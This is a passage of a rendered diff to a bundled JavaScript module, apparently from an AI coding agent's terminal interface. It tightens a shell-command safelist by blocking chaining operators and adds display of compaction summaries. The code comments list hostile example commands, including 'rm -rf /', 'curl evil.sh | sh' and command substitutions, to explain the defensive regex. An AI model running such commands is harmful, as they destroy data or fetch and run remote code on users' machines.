* pipeline — and would silently bypass a `shell:<head>:*` safelist that
|
|
4780
|
+
* the user only meant to cover the head program. We block these
|
|
4781
|
+
* specifically:
|
|
4782
|
+
*
|
|
4783
|
+
* - `;` — sequence operator (`git status; rm -rf /`)
|
|
4784
|
+
* - `&&` / `||` — and-/or-chains (`git status && curl evil.sh | sh`)
|
|
4785
|
+
* - `\n` / `\r` — multi-line scripts, equivalent to `;`
|
|
4786
|
+
* - `` ` `` — backtick command substitution (`echo \`rm -rf /\``)
|
|
4787
|
+
* - `$(…)` — modern command substitution (`echo $(rm -rf /)`)
|
|
2912
4788
|
*
|
|
2913
|
-
*
|
|
2914
|
-
*
|
|
4789
|
+
* We deliberately do NOT block:
|
|
4790
|
+
*
|
|
4791
|
+
* - `|` — pipes; required for the bread-and-butter CLI pattern
|
|
4792
|
+
* `sentry issue list … | jq -r '.[]'`.
|
|
4793
|
+
* - `>` / `>>` / `<` / `2>&1` — I/O redirection; `cmd > out.txt` and
|
|
4794
|
+
* `cmd 2>&1 | jq` are normal CLI usage.
|
|
4795
|
+
* - `&` (alone) — backgrounding; runs the same command in the background
|
|
4796
|
+
* rather than chaining a new one.
|
|
4797
|
+
* - `(…)` — subshells; rare in practice, and the chaining
|
|
4798
|
+
* detectors above already catch the dangerous content
|
|
4799
|
+
* that would typically live inside them.
|
|
4800
|
+
*
|
|
4801
|
+
* Trade-off: a model that controls the output of the safelisted head
|
|
4802
|
+
* command could in principle pipe garbage into a destructive tool
|
|
4803
|
+
* (`sentry list | sh`). The original implementation blocked all
|
|
4804
|
+
* metacharacters to avoid that risk, but it made `shell:<head>:*`
|
|
4805
|
+
* unusable for real CLI workflows — users hit the prompt on every
|
|
4806
|
+
* `cmd | jq` and learned to ignore the modal. Allowing pipes/redirects
|
|
4807
|
+
* trusts the user's explicit "I want everything starting with <head>"
|
|
4808
|
+
* decision; the chaining rejections above keep the obvious escape
|
|
4809
|
+
* hatches closed.
|
|
4810
|
+
*
|
|
4811
|
+
* The regex is intentionally generous: false positives (e.g. a literal
|
|
4812
|
+
* `&&` inside a quoted argument) just prompt the user again, which is
|
|
4813
|
+
* the safe failure mode.
|
|
2915
4814
|
*/
|
|
2916
|
-
const
|
|
2917
|
-
function
|
|
2918
|
-
return
|
|
4815
|
+
const SHELL_CHAINING_RE = /&&|\|\||\$\(|[;`\n\r]/;
|
|
4816
|
+
function hasShellChaining(command) {
|
|
4817
|
+
return SHELL_CHAINING_RE.test(command);
|
|
2919
4818
|
}
|
|
2920
4819
|
/**
|
|
2921
4820
|
* Test whether a `{ tool, input }` pair is covered by one safelist entry.
|
|
2922
4821
|
*
|
|
2923
4822
|
* Supported entry shapes:
|
|
2924
|
-
* - `"<tool>"` — broad match on tool name. For `shell
|
|
2925
|
-
*
|
|
2926
|
-
* - `"<tool>:<token>:*"` — match when the primary arg's first token
|
|
2927
|
-
* `<token>`. For `shell`,
|
|
2928
|
-
*
|
|
2929
|
-
*
|
|
2930
|
-
*
|
|
2931
|
-
*
|
|
2932
|
-
*
|
|
2933
|
-
*
|
|
2934
|
-
* version of the TUI).
|
|
4823
|
+
* - `"<tool>"` — broad match on tool name. For `shell`, the command
|
|
4824
|
+
* must not chain through another program (see {@link SHELL_CHAINING_RE}).
|
|
4825
|
+
* - `"<tool>:<token>:*"` — match when the primary arg's first token
|
|
4826
|
+
* equals `<token>`. For `shell`, same chaining gate as above. Pipes
|
|
4827
|
+
* and redirects are allowed so `shell:sentry:*` covers the typical
|
|
4828
|
+
* `sentry … | jq …` workflow.
|
|
4829
|
+
*
|
|
4830
|
+
* Entries that don't fit either shape are ignored (forward-compat for
|
|
4831
|
+
* future pattern syntax — readers shouldn't choke on entries written
|
|
4832
|
+
* by a newer version of the TUI).
|
|
2935
4833
|
*/
|
|
2936
4834
|
function matchesSafelistEntry(entry, tool, input) {
|
|
2937
4835
|
if (tool === "shell") {
|
|
2938
|
-
if (
|
|
4836
|
+
if (hasShellChaining(typeof input.command === "string" ? input.command : "")) return false;
|
|
2939
4837
|
}
|
|
2940
4838
|
if (entry === tool) return true;
|
|
2941
4839
|
const sep = entry.indexOf(":");
|
|
@@ -3195,6 +5093,14 @@ function renderBlock(block) {
|
|
|
3195
5093
|
renderToolOutput(block.output)
|
|
3196
5094
|
].join("\n");
|
|
3197
5095
|
case "image": return `_[image · ${block.mediaType}]_`;
|
|
5096
|
+
case "compact-summary": {
|
|
5097
|
+
const count = block.replacesTurnIds.length;
|
|
5098
|
+
return [
|
|
5099
|
+
`**Compaction summary** · ${count} turn${count === 1 ? "" : "s"} compacted · model \`${block.model}\``,
|
|
5100
|
+
"",
|
|
5101
|
+
block.summary.trim()
|
|
5102
|
+
].join("\n");
|
|
5103
|
+
}
|
|
3198
5104
|
default: return "";
|
|
3199
5105
|
}
|
|
3200
5106
|
}
|
|
@@ -3651,6 +5557,7 @@ function turnAsText(turn) {
|
|
|
3651
5557
|
else if (block.type === "thinking" && block.text.trim()) parts.push(`[thinking]\n${block.text}`);
|
|
3652
5558
|
else if (block.type === "tool_call") parts.push(`[tool call · ${block.name}]\n${stringifyArgs(block.input)}`);
|
|
3653
5559
|
else if (block.type === "tool_result") parts.push(`[tool result]\n${typeof block.output === "string" ? block.output : JSON.stringify(block.output, null, 2)}`);
|
|
5560
|
+
else if (block.type === "compact-summary") parts.push(`[compaction summary · ${block.replacesTurnIds.length} turn${block.replacesTurnIds.length === 1 ? "" : "s"}]\n${block.summary}`);
|
|
3654
5561
|
return parts.join("\n\n");
|
|
3655
5562
|
}
|
|
3656
5563
|
function stringifyArgs(input) {
|
|
@@ -3674,6 +5581,6 @@ function countNeighbors(turnIds, turnId) {
|
|
|
3674
5581
|
};
|
|
3675
5582
|
}
|
|
3676
5583
|
//#endregion
|
|
3677
|
-
export {
|
|
5584
|
+
export { InteractionsProvider as $, DOING_TASKS_DOCTRINE as $n, findGitRoot$1 as $t, readProjects as A, writeCredentials as An, CATPPUCCIN_MOCHA as At, defaultMcpsConfigPaths as B, modelsForDescriptor as Bn, saveState as Bt, useSafeModeQueue as C, detectAuth as Cn, DEFAULT_THEME as Ct, isOnSafelist as D, readProviderCredential as Dn, CATPPUCCIN_FRAPPE as Dt, getSafelist as E, readCredentials as En, VAPORWAVE_THEME as Et, supportsOAuth as F, credKeyOf as Fn, deriveSessionTitle as Ft, mcpCredentialsPath as G, BUILTIN_AGENTS as Gn, toolResultText as Gt, parseMcpsFile as H, openrouterDescriptor as Hn, stripSpawnTokensLine as Ht, buildModelCatalog as I, effectiveContextWindow as In, eventsFromTurns as It, useMcpAuthDispatch as J, PLAN_AGENT as Jn, computeLineDiff as Jt, patchMcpCredential as K, DEFAULT_AGENT_ID as Kn, buildUnifiedDiff as Kt, filterModelCatalog as L, getContextWindow as Ln, lastContextSizeFromTurns as Lt, writeProjects as M, OUTPUT_RESERVE_TOKENS as Mn, useConfig as Mt, splitPromptSegments as N, anthropicDescriptor as Nn, resolveConfig as Nt, matchesSafelistEntry as O, removeProviderCredential as On, CATPPUCCIN_LATTE as Ot, runOAuthLogin as P, cerebrasDescriptor as Pn, createStateStore as Pt, ASK_USER_TOOL as Q, COMMUNICATION_DOCTRINE as Qn, tokenize as Qt, indexOfEntry as R, getModelInfo as Rn, listSessionMeta as Rt, useSafeModeActions as S, shouldAutoCompact as Sn, BUILTIN_THEMES as St, addToSafelist as T, credentialsPath as Tn, resolveTheme as Tt, projectUserPaths as U, piIdOf as Un, titleFromTurns as Ut, discoverProjectMcps as V, openaiDescriptor as Vn, selectableTurnIds as Vt, createFileMcpCredentialStore as W, BUILD_AGENT as Wn, toolCallPreview as Wt, getMcpAuthStatus as X, singleAgentRegistry as Xn, filetypeFromPath as Xt, useMcpAuthState as Y, resolveAgentId as Yn, extractEditPayload as Yt, reduceMcpAuth as Z, ACTIONS_WITH_CARE_DOCTRINE as Zn, splitLines as Zt, discoverProjectSkills as _, collectReferences as _n, DEFAULT_SETTINGS as _t, ThemeProvider as a, matchesBinding as an, buildBuildSystem as ar, pendingInteractionsFromTurns as at, writeSessionExport as b, useCompletion as bn, SettingsProvider as bt, useSurfaces as c, readKeybindings as cn, useInteractionsQueue as ct, finalizeStreamingMarkdown as d, createSkillsCompletionProvider as dn, ageString as dt, DEFAULT_KEYBINDINGS as en, IDENTITY_PREFIX as er, PRESENT_PLAN_TOOL as et, finalizeStreamingMarkdownForOwner as f, uniqueSkillNamesFromReferences as fn, compactPath as ft, defaultSkillScanPaths as g, applyInsert as gn, useEnabledToggleSet as gt, buildSkillsConfig as h, uniqueFilesFromReferences as hn, listProjectFiles as ht, turnAsText as i, keybindingsPath as in, TOKEN_DISCIPLINE_DOCTRINE as ir, makeRequestInteraction as it, suggestSafelistEntry as j, BUILTIN_PROVIDERS as jn, ConfigProvider as jt, projectsFilePath as k, setProviderCredential as kn, CATPPUCCIN_MACCHIATO as kt, useSyntaxStyles as l, stripJsonComments as ln, cleanTitle as lt, useStreamBuffer as m, createFilesCompletionProvider as mn, shortId as mt, deleteTurnSafely as n, KEYBINDING_DEF_BY_ACTION as nn, PLAN_MODE_DOCTRINE as nr, createInteractionTools as nt, useColors as o, mergeKeybindings as on, buildPlanSystem as or, serializeInteractionResponse as ot, turnContextSize as p, FILES_TRIGGER as pn, fmtTokens as pt, McpAuthProvider as q, DEFAULT_PERSIST_EXCLUDE_TOOLS as qn, computeInlineDiff as qt, truncateTurnsAt as r, ensureKeybindingsFile as rn, SUBAGENT_GUIDANCE as rr, isInteractionTool as rt, useSelectStyle as s, parseBindingSpec as sn, envSection as sr, useInteractionsActions as st, countNeighbors as t, KEYBINDING_DEFS as tn, INTERACTION_GUIDANCE as tr, buildResumedToolResultsTurn as tt, useTheme as u, SKILLS_TRIGGER as un, generateSessionTitle as ut, renderSession as v, findActiveTrigger as vn, SETTINGS_CHOICES as vt, IMPLICITLY_SAFE_TOOLS as w, applyApiKeyEnv as wn, resolveChipColor as wt, SafeModeProvider as x, tryOpenBrowser as xn, useSettings as xt, resolveSessionExportTarget as y, mergeReferences as yn, SETTINGS_TOGGLES as yt, buildMcpServers as z, modelSupportsReasoning as zn, loadState as zt };
|
|
3678
5585
|
|
|
3679
|
-
//# sourceMappingURL=turn-operations-
|
|
5586
|
+
//# sourceMappingURL=turn-operations-BzOIM6Of.js.map
|